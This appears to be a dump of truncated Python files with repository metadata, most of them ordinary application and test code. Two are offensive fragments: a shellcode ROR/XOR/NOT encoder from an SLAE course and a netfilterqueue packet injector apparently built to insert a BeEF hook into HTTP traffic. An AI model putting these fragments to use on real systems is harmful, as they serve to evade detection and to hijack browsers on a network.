self.output_size = out... | 27.72 | 78 | 0.681097 | 88 | 693 | 5.011364 | 0.431818 | 0.081633 | 0.088435 | 0.086168 | 0.104308 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003717 | 0.223665 | 693 | 24 | 79 | 28.875 | 0.815985 | 0 | 0 | 0 | 0 | 0 | 0.036075 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.176471 | false | 0 | 0.117647 | 0.117647 | 0.470588 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 |
c7a2778b2130c187c84f5bc78fd439f687e7ad10 | 450 | py | Python | passy_forms/forms/forms.py | vleon1/passy | fe48ed9f932eb6df9dbe463344b034218c81567b | [
"Apache-2.0"
] | null | null | null | passy_forms/forms/forms.py | vleon1/passy | fe48ed9f932eb6df9dbe463344b034218c81567b | [
"Apache-2.0"
] | 19 | 2017-02-18T17:53:56.000Z | 2017-03-11T22:09:06.000Z | passy_forms/forms/forms.py | vleon1/passy | fe48ed9f932eb6df9dbe463344b034218c81567b | [
"Apache-2.0"
] | null | null | null | from django.forms import forms
class Form(forms.Form):
def get_value(self, name):
self.is_valid() # making sure we tried to clean the data before accessing it
if self.is_bound and name in self.cleaned_data:
return self.cleaned_data[name]
field = self[name]
... | 23.684211 | 86 | 0.622222 | 65 | 450 | 4.2 | 0.538462 | 0.058608 | 0.07326 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.295556 | 450 | 18 | 87 | 25 | 0.861199 | 0.128889 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.1 | 0.1 | 0.7 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
c7a2d818488a83ba3e02cfaea886aa5551f314ae | 1,172 | py | Python | assignment4/rorxornotencode.py | gkweb76/SLAE | c0aef9610a5f75568a0e65c4a91a3bb5a56e6fc6 | [
"MIT"
] | 15 | 2015-08-11T09:50:00.000Z | 2021-10-02T19:30:53.000Z | assignment4/rorxornotencode.py | gkweb76/SLAE | c0aef9610a5f75568a0e65c4a91a3bb5a56e6fc6 | [
"MIT"
] | null | null | null | assignment4/rorxornotencode.py | gkweb76/SLAE | c0aef9610a5f75568a0e65c4a91a3bb5a56e6fc6 | [
"MIT"
] | 9 | 2015-08-11T09:51:55.000Z | 2021-10-18T18:04:11.000Z | #!/usr/bin/python
# Title: ROR/XOR/NOT encoder
# File: rorxornotencode.py
# Author: Guillaume Kaddouch
# SLAE-681
import sys
ror = lambda val, r_bits, max_bits: \
((val & (2**max_bits-1)) >> r_bits%max_bits) | \
(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
shellcode = (
"\x31\xc0\x50\x68\x6e\x2f\... | 23.44 | 102 | 0.562287 | 164 | 1,172 | 3.963415 | 0.481707 | 0.064615 | 0.061538 | 0.055385 | 0.129231 | 0.083077 | 0 | 0 | 0 | 0 | 0 | 0.080698 | 0.217577 | 1,172 | 49 | 103 | 23.918367 | 0.628135 | 0.116041 | 0 | 0 | 0 | 0.037037 | 0.336249 | 0.097182 | 0 | 0 | 0.023324 | 0 | 0 | 0 | null | null | 0 | 0.037037 | null | null | 0.259259 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c7a9038c8840f231377e3ea552d065f35efee699 | 289 | py | Python | Python/first_flask_project/utilities/file_reader.py | maxxxxxdlp/code_share | 4f9375bf4bdf6048b54b22bd1fa0d3ad010de7ef | [
"MIT"
] | null | null | null | Python/first_flask_project/utilities/file_reader.py | maxxxxxdlp/code_share | 4f9375bf4bdf6048b54b22bd1fa0d3ad010de7ef | [
"MIT"
] | 33 | 2021-07-11T22:55:42.000Z | 2022-01-07T23:23:43.000Z | Python/first_flask_project/utilities/file_reader.py | maxxxxxdlp/code_share | 4f9375bf4bdf6048b54b22bd1fa0d3ad010de7ef | [
"MIT"
] | null | null | null | def read_csv(root, file_name, keys):
with open('{root}private_static/csv/{file_name}.csv'.format(root=root, file_name=file_name)) as file:
data = file.read()
lines = data.split("\n")
return [dict(zip(keys, line.split(','))) for i, line in enumerate(lines) if i != 0]
| 36.125 | 105 | 0.650519 | 47 | 289 | 3.87234 | 0.574468 | 0.175824 | 0.131868 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004167 | 0.16955 | 289 | 7 | 106 | 41.285714 | 0.754167 | 0 | 0 | 0 | 0 | 0 | 0.148789 | 0.138408 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0 | 0 | 0.4 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c7b11734daef5c05aa9cf025632e59324996f20e | 2,954 | py | Python | customer_support/utils.py | rtnpro/django-customer-support | 6de8d9301fe01a42fa6799757a107be69ee82426 | [
"MIT"
] | 1 | 2017-05-06T04:49:45.000Z | 2017-05-06T04:49:45.000Z | customer_support/utils.py | rtnpro/django-customer-support | 6de8d9301fe01a42fa6799757a107be69ee82426 | [
"MIT"
] | null | null | null | customer_support/utils.py | rtnpro/django-customer-support | 6de8d9301fe01a42fa6799757a107be69ee82426 | [
"MIT"
] | null | null | null | from __future__ import absolute_import
from django.shortcuts import render
import simplejson
import datetime
from django.http import HttpResponse
class GenericItemBase(object):
ITEM_ATTRS = []
def __init__(self, identifier):
self.identifier = identifier
def jsonify(self, value):
"""
... | 25.912281 | 69 | 0.613067 | 332 | 2,954 | 5.240964 | 0.213855 | 0.050575 | 0.077586 | 0.03908 | 0.407471 | 0.407471 | 0.360345 | 0.360345 | 0.360345 | 0.360345 | 0 | 0 | 0.28436 | 2,954 | 113 | 70 | 26.141593 | 0.823084 | 0.030467 | 0 | 0.43038 | 0 | 0 | 0.048729 | 0.018715 | 0 | 0 | 0 | 0 | 0 | 1 | 0.278481 | false | 0.012658 | 0.063291 | 0.075949 | 0.544304 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c7b513ddbd33e479f8df70d1c5b9306a2ec0133a | 3,072 | py | Python | mercury_ml/keras/containers.py | gabrieloexle/mercury-ml | cc663f84a26ee66ae105bbfc0cd1cbd5629031cd | [
"MIT"
] | null | null | null | mercury_ml/keras/containers.py | gabrieloexle/mercury-ml | cc663f84a26ee66ae105bbfc0cd1cbd5629031cd | [
"MIT"
] | null | null | null | mercury_ml/keras/containers.py | gabrieloexle/mercury-ml | cc663f84a26ee66ae105bbfc0cd1cbd5629031cd | [
"MIT"
] | null | null | null | """
Simple IoC containers that provide direct access to various Keras providers
"""
class ModelSavers:
from mercury_ml.keras.providers import model_saving
save_hdf5 = model_saving.save_keras_hdf5
save_tensorflow_graph = model_saving.save_tensorflow_graph
save_tensorrt_pbtxt_config = model_saving.save_... | 38.4 | 113 | 0.823893 | 341 | 3,072 | 7.046921 | 0.328446 | 0.069913 | 0.059509 | 0.082397 | 0.317104 | 0.225551 | 0.079068 | 0 | 0 | 0 | 0 | 0.001512 | 0.138672 | 3,072 | 79 | 114 | 38.886076 | 0.906652 | 0.079753 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.2 | 0 | 0.945455 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
c7b60df7ecb95aad435c61ec7e818259064a9562 | 1,851 | py | Python | Code Injector/code_injector_BeEF.py | crake7/Defensor-Fortis- | 086b055a10b9ac55f444e8d13b4031f998415438 | [
"MIT"
] | null | null | null | Code Injector/code_injector_BeEF.py | crake7/Defensor-Fortis- | 086b055a10b9ac55f444e8d13b4031f998415438 | [
"MIT"
] | null | null | null | Code Injector/code_injector_BeEF.py | crake7/Defensor-Fortis- | 086b055a10b9ac55f444e8d13b4031f998415438 | [
"MIT"
] | 1 | 2021-12-20T11:44:51.000Z | 2021-12-20T11:44:51.000Z | #!/usr/bin/env python
import netfilterqueue
import scapy.all as scapy
import re
def set_load(packet, load):
packet[scapy.Raw].load = load
del packet[scapy.IP].len
del packet[scapy.IP].chksum
del packet[scapy.TCP].chksum
return packet
def process_packet(packet):
"""Modify downloads files on t... | 37.02 | 90 | 0.622366 | 239 | 1,851 | 4.682008 | 0.422594 | 0.088472 | 0.071492 | 0.048257 | 0.103664 | 0.103664 | 0.055407 | 0 | 0 | 0 | 0 | 0.021723 | 0.253917 | 1,851 | 49 | 91 | 37.77551 | 0.788559 | 0.099946 | 0 | 0 | 0 | 0.03125 | 0.102667 | 0.034 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.09375 | null | null | 0.0625 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c7b66acfc0f1fc9f0407ccd4877bc57ccf79afa1 | 4,691 | py | Python | pycardcast/net/aiohttp.py | Elizafox/pycardcast | 36fb8009f32f733fd18a7f3263a61362fdb75ec3 | [
"WTFPL"
] | null | null | null | pycardcast/net/aiohttp.py | Elizafox/pycardcast | 36fb8009f32f733fd18a7f3263a61362fdb75ec3 | [
"WTFPL"
] | null | null | null | pycardcast/net/aiohttp.py | Elizafox/pycardcast | 36fb8009f32f733fd18a7f3263a61362fdb75ec3 | [
"WTFPL"
] | 1 | 2020-04-09T10:12:46.000Z | 2020-04-09T10:12:46.000Z | # Copyright © 2015 Elizabeth Myers.
# All rights reserved.
# This file is part of the pycardcast project. See LICENSE in the root
# directory for licensing information.
import asyncio
import aiohttp
from pycardcast.net import CardcastAPIBase
from pycardcast.deck import (DeckInfo, DeckInfoNotFoundError,
... | 37.830645 | 78 | 0.563206 | 492 | 4,691 | 5.315041 | 0.221545 | 0.051625 | 0.043595 | 0.026769 | 0.540344 | 0.51434 | 0.503633 | 0.491396 | 0.460421 | 0.429828 | 0 | 0.012593 | 0.3398 | 4,691 | 123 | 79 | 38.138211 | 0.83145 | 0 | 0 | 0.49 | 0 | 0 | 0.081339 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.06 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c7b71c7227264e168736696fa5f4ef910e4d9c22 | 2,345 | py | Python | libtiepie/triggeroutput.py | TiePie/python-libtiepie | d2a9875855298a58d6a16be5b61aaa89a558e7d8 | [
"MIT"
] | 6 | 2020-01-04T02:00:35.000Z | 2022-03-22T00:32:26.000Z | libtiepie/triggeroutput.py | TiePie/python-libtiepie | d2a9875855298a58d6a16be5b61aaa89a558e7d8 | [
"MIT"
] | 3 | 2020-08-05T15:16:29.000Z | 2022-03-21T07:00:27.000Z | libtiepie/triggeroutput.py | TiePie/python-libtiepie | d2a9875855298a58d6a16be5b61aaa89a558e7d8 | [
"MIT"
] | null | null | null | from ctypes import *
from .api import api
from .const import *
from .library import library
class TriggerOutput(object):
""""""
def __init__(self, handle, index):
self._handle = handle
self._index = index
def _get_enabled(self):
""" Check whether a trigger output is enabled. """
... | 33.028169 | 72 | 0.665245 | 281 | 2,345 | 5.185053 | 0.252669 | 0.075498 | 0.102951 | 0.117364 | 0.415923 | 0.415923 | 0.365134 | 0.341798 | 0.314345 | 0.314345 | 0 | 0.005017 | 0.234968 | 2,345 | 70 | 73 | 33.5 | 0.807135 | 0.108316 | 0 | 0.255319 | 0 | 0 | 0.002472 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.191489 | false | 0 | 0.085106 | 0 | 0.531915 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
c7b8b9fdf2de5fb240b87971d0e7f35941af2c81 | 1,485 | py | Python | tests/test_render.py | isuruf/conda-build | 9f163925f5d03a46e921162892bf4c6bc86b1072 | [
"BSD-3-Clause"
] | null | null | null | tests/test_render.py | isuruf/conda-build | 9f163925f5d03a46e921162892bf4c6bc86b1072 | [
"BSD-3-Clause"
] | 1 | 2019-10-08T15:03:56.000Z | 2019-10-08T15:03:56.000Z | tests/test_render.py | awwad/conda-build | b0be80283ec2e3ef7e49b5da923b1438e74e27b5 | [
"BSD-3-Clause"
] | null | null | null | import os
import sys
from conda_build import api
from conda_build import render
import pytest
def test_output_with_noarch_says_noarch(testing_metadata):
testing_metadata.meta['build']['noarch'] = 'python'
output = api.get_output_file_path(testing_metadata)
assert os.path.sep + "noarch" + os.path.sep in o... | 33 | 65 | 0.690909 | 207 | 1,485 | 4.676329 | 0.280193 | 0.216942 | 0.117769 | 0.016529 | 0.384298 | 0.334711 | 0.305785 | 0.305785 | 0.305785 | 0.305785 | 0 | 0.026059 | 0.173064 | 1,485 | 44 | 66 | 33.75 | 0.762215 | 0 | 0 | 0.114286 | 0 | 0 | 0.193939 | 0 | 0 | 0 | 0 | 0 | 0.171429 | 1 | 0.114286 | false | 0 | 0.142857 | 0 | 0.257143 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c7b8e20d5ed5e23189a112d56d8a749537d1ecec | 173 | py | Python | ABC/007/b.py | fumiyanll23/AtCoder | 362ca9fcacb5415c1458bc8dee5326ba2cc70b65 | [
"MIT"
] | null | null | null | ABC/007/b.py | fumiyanll23/AtCoder | 362ca9fcacb5415c1458bc8dee5326ba2cc70b65 | [
"MIT"
] | null | null | null | ABC/007/b.py | fumiyanll23/AtCoder | 362ca9fcacb5415c1458bc8dee5326ba2cc70b65 | [
"MIT"
] | null | null | null | def main():
# input
A = input()
# compute
# output
if A == 'a':
print(-1)
else:
print('a')
if __name__ == '__main__':
main()
| 10.8125 | 26 | 0.421965 | 19 | 173 | 3.421053 | 0.578947 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.009804 | 0.410405 | 173 | 15 | 27 | 11.533333 | 0.627451 | 0.115607 | 0 | 0 | 0 | 0 | 0.067114 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.125 | false | 0 | 0 | 0 | 0.125 | 0.25 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c7c52b0c2a58b302536c4281e3d875f7998a6140 | 611 | py | Python | src/helpers.py | demirdagemir/thesis | 4a48bddf815c91729e27484548bb7bbf7ddeda64 | [
"MIT"
] | null | null | null | src/helpers.py | demirdagemir/thesis | 4a48bddf815c91729e27484548bb7bbf7ddeda64 | [
"MIT"
] | null | null | null | src/helpers.py | demirdagemir/thesis | 4a48bddf815c91729e27484548bb7bbf7ddeda64 | [
"MIT"
] | null | null | null | from Aion.utils.data import getADBPath
import subprocess
def dumpLogCat(apkTarget):
# Aion/shared/DroidutanTest.py
# Define frequently-used commands
# TODO: Refactor adbID
adbID = "192.168.58.101:5555"
adbPath = getADBPath()
dumpLogcatCmd = [adbPath, "-s", adbID, "logcat", "-d"]
clearLogca... | 33.944444 | 97 | 0.680851 | 70 | 611 | 5.942857 | 0.742857 | 0.038462 | 0.0625 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.03373 | 0.175123 | 611 | 17 | 98 | 35.941176 | 0.791667 | 0.184943 | 0 | 0 | 0 | 0 | 0.11359 | 0 | 0 | 0 | 0 | 0.058824 | 0 | 1 | 0.090909 | false | 0 | 0.181818 | 0 | 0.272727 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c7c5b3d53e6ad031199ab57c86f15523078de6cc | 1,969 | py | Python | tests/test_show.py | domi007/pigskin | c379284ebbbdb3a9df42de70227041e3c137b6dc | [
"MIT"
] | 6 | 2018-08-15T13:29:22.000Z | 2020-09-12T14:39:20.000Z | tests/test_show.py | domi007/pigskin | c379284ebbbdb3a9df42de70227041e3c137b6dc | [
"MIT"
] | 26 | 2018-08-15T13:08:49.000Z | 2020-01-12T22:27:38.000Z | tests/test_show.py | domi007/pigskin | c379284ebbbdb3a9df42de70227041e3c137b6dc | [
"MIT"
] | 4 | 2018-08-15T13:52:26.000Z | 2019-04-28T17:09:04.000Z | from collections import OrderedDict
import pytest
import vcr
try: # Python 2.7
# requests's ``json()`` function returns strings as unicode (as per the
# JSON spec). In 2.7, those are of type unicode rather than str. basestring
# was created to help with that.
# https://docs.python.org/2/library/func... | 24.6125 | 79 | 0.584053 | 247 | 1,969 | 4.587045 | 0.396761 | 0.049426 | 0.026478 | 0.070609 | 0.338041 | 0.338041 | 0.338041 | 0.308914 | 0.308914 | 0.308914 | 0 | 0.012918 | 0.33164 | 1,969 | 79 | 80 | 24.924051 | 0.848024 | 0.224479 | 0 | 0.413043 | 0 | 0 | 0.07677 | 0.07677 | 0 | 0 | 0 | 0.012658 | 0.130435 | 1 | 0.086957 | false | 0 | 0.065217 | 0 | 0.173913 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c7d594ecefc0ecfe585fc9557bf2ed8617f874e6 | 1,944 | py | Python | settings.py | SalinderSidhu/CHIP8 | 46a01aa7675805b84809d1e9762905de8fdccc66 | [
"MIT"
] | 4 | 2015-12-22T15:03:43.000Z | 2016-07-28T08:11:48.000Z | settings.py | SalinderSidhu/CHIP8 | 46a01aa7675805b84809d1e9762905de8fdccc66 | [
"MIT"
] | null | null | null | settings.py | SalinderSidhu/CHIP8 | 46a01aa7675805b84809d1e9762905de8fdccc66 | [
"MIT"
] | null | null | null | import configparser
class Settings:
'''The Settings class is a wrapper for configparser and it's functions.
This class simplifies the tasks of loading, storing and manipulating
settings data.'''
def __init__(self, filename):
'''Create a new Settings object with a specific file name.'''
... | 36.679245 | 79 | 0.646091 | 222 | 1,944 | 5.477477 | 0.382883 | 0.049342 | 0.049342 | 0.037007 | 0.181743 | 0.116776 | 0.047697 | 0.047697 | 0 | 0 | 0 | 0.000707 | 0.272634 | 1,944 | 52 | 80 | 37.384615 | 0.859265 | 0.359054 | 0 | 0.285714 | 0 | 0 | 0.030822 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.214286 | false | 0 | 0.035714 | 0 | 0.357143 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c7dcc75b55961bd952da5e374d98d1ab7d3f5c96 | 40,969 | py | Python | python/thunder/rdds/fileio/seriesloader.py | broxtronix/thunder | 4dad77721e2c9e225f94a6a5366d51ec83ac4690 | [
"Apache-2.0"
] | null | null | null | python/thunder/rdds/fileio/seriesloader.py | broxtronix/thunder | 4dad77721e2c9e225f94a6a5366d51ec83ac4690 | [
"Apache-2.0"
] | null | null | null | python/thunder/rdds/fileio/seriesloader.py | broxtronix/thunder | 4dad77721e2c9e225f94a6a5366d51ec83ac4690 | [
"Apache-2.0"
] | null | null | null | """Provides SeriesLoader object and helpers, used to read Series data from disk or other filesystems.
"""
from collections import namedtuple
import json
from numpy import array, arange, frombuffer, load, ndarray, unravel_index, vstack
from numpy import dtype as dtypeFunc
from scipy.io import loadmat
from cStringIO impo... | 48.772619 | 124 | 0.631648 | 4,517 | 40,969 | 5.706221 | 0.166261 | 0.015131 | 0.004656 | 0.008147 | 0.483531 | 0.462347 | 0.431814 | 0.415364 | 0.405005 | 0.401979 | 0 | 0.00572 | 0.291611 | 40,969 | 839 | 125 | 48.830751 | 0.8824 | 0.068125 | 0 | 0.309582 | 0 | 0.002457 | 0.07226 | 0.005884 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.002457 | 0.068796 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c7dedb48cc1d235760b585e1ff0e7c005780aeec | 491 | py | Python | api/scheduler/migrations/0001_initial.py | jfaach/stock-app | 9cd0f98d3ec5d31dcd6680c5bf8b7b0fcdf025a6 | [
"CC0-1.0"
] | null | null | null | api/scheduler/migrations/0001_initial.py | jfaach/stock-app | 9cd0f98d3ec5d31dcd6680c5bf8b7b0fcdf025a6 | [
"CC0-1.0"
] | null | null | null | api/scheduler/migrations/0001_initial.py | jfaach/stock-app | 9cd0f98d3ec5d31dcd6680c5bf8b7b0fcdf025a6 | [
"CC0-1.0"
] | null | null | null | # Generated by Django 3.1.1 on 2020-12-16 03:07
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Scheduler',
fields=[
('id', models.AutoFiel... | 22.318182 | 114 | 0.578411 | 50 | 491 | 5.62 | 0.78 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.049563 | 0.301426 | 491 | 21 | 115 | 23.380952 | 0.769679 | 0.09165 | 0 | 0 | 1 | 0 | 0.045045 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.071429 | 0 | 0.357143 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c7e2f163fdb11300c85e2c17e27cb56d8ee3f07e | 12,844 | py | Python | example_python_files/MagicDAQ,MABoard,FullDemo.py | MagicDAQ/magicdaq_docs | 896a2565a28d80c733d8a137211212816ef3fbe2 | [
"MIT"
] | 1 | 2021-05-20T21:11:13.000Z | 2021-05-20T21:11:13.000Z | example_python_files/MagicDAQ,MABoard,FullDemo.py | MagicDAQ/magicdaq_docs | 896a2565a28d80c733d8a137211212816ef3fbe2 | [
"MIT"
] | null | null | null | example_python_files/MagicDAQ,MABoard,FullDemo.py | MagicDAQ/magicdaq_docs | 896a2565a28d80c733d8a137211212816ef3fbe2 | [
"MIT"
] | null | null | null | ##############################################################
#*** MagicDAQ USB DAQ and M&A Board General Demo Script ***
##############################################################
#*** Websites ***
# MagicDAQ Website:
# https://www.magicdaq.com/
# API Docs Website:
# https://magicdaq.github.io/magicdaq_docs/
#*... | 34.342246 | 196 | 0.617642 | 1,740 | 12,844 | 4.445402 | 0.201149 | 0.026374 | 0.034389 | 0.046671 | 0.434131 | 0.374014 | 0.287524 | 0.256238 | 0.242017 | 0.203749 | 0 | 0.019084 | 0.135083 | 12,844 | 373 | 197 | 34.434316 | 0.677199 | 0.236998 | 0 | 0.357955 | 0 | 0.028409 | 0.518131 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.022727 | 0 | 0.022727 | 0.613636 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 |
c7e32e60b520a7528f6c33e61490ce039febd1e0 | 2,257 | py | Python | src/account/api/serializers.py | amirpsd/drf_blog_api | 58be081a450840114af021e7412e469fad90456d | [
"MIT"
] | 33 | 2022-02-11T12:16:29.000Z | 2022-03-26T15:08:47.000Z | src/account/api/serializers.py | amirpsd/django_blog_api | 58be081a450840114af021e7412e469fad90456d | [
"MIT"
] | null | null | null | src/account/api/serializers.py | amirpsd/django_blog_api | 58be081a450840114af021e7412e469fad90456d | [
"MIT"
] | 5 | 2022-02-11T13:03:52.000Z | 2022-03-28T16:04:32.000Z | from django.contrib.auth import get_user_model
from rest_framework import serializers
class UsersListSerializer(serializers.ModelSerializer):
class Meta:
model = get_user_model()
fields = [
"id", "phone",
"first_name", "last_name",
"author",
]
class U... | 23.030612 | 70 | 0.613646 | 209 | 2,257 | 6.478469 | 0.368421 | 0.088626 | 0.10192 | 0.128508 | 0.255539 | 0.255539 | 0.140325 | 0.140325 | 0.082718 | 0.082718 | 0 | 0.012492 | 0.290651 | 2,257 | 97 | 71 | 23.268041 | 0.833229 | 0.015064 | 0 | 0.289855 | 0 | 0 | 0.091693 | 0.01271 | 0 | 0 | 0 | 0 | 0 | 1 | 0.043478 | false | 0.173913 | 0.043478 | 0 | 0.376812 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
c7e62258b56e4e6157b37bc5877b4350133a63c1 | 1,676 | py | Python | tests/sentry/api/serializers/test_saved_search.py | practo/sentry | 82f530970ce205696469fa702246396acfd947a1 | [
"BSD-3-Clause"
] | 4 | 2019-05-27T13:55:07.000Z | 2021-03-30T07:05:09.000Z | tests/sentry/api/serializers/test_saved_search.py | practo/sentry | 82f530970ce205696469fa702246396acfd947a1 | [
"BSD-3-Clause"
] | 99 | 2019-05-20T14:16:33.000Z | 2021-01-19T09:25:15.000Z | tests/sentry/api/serializers/test_saved_search.py | practo/sentry | 82f530970ce205696469fa702246396acfd947a1 | [
"BSD-3-Clause"
] | 1 | 2020-08-10T07:55:40.000Z | 2020-08-10T07:55:40.000Z | # -*- coding: utf-8 -*-
from __future__ import absolute_import
import six
from sentry.api.serializers import serialize
from sentry.models import SavedSearch
from sentry.models.savedsearch import DEFAULT_SAVED_SEARCHES
from sentry.testutils import TestCase
class SavedSearchSerializerTest(TestCase):
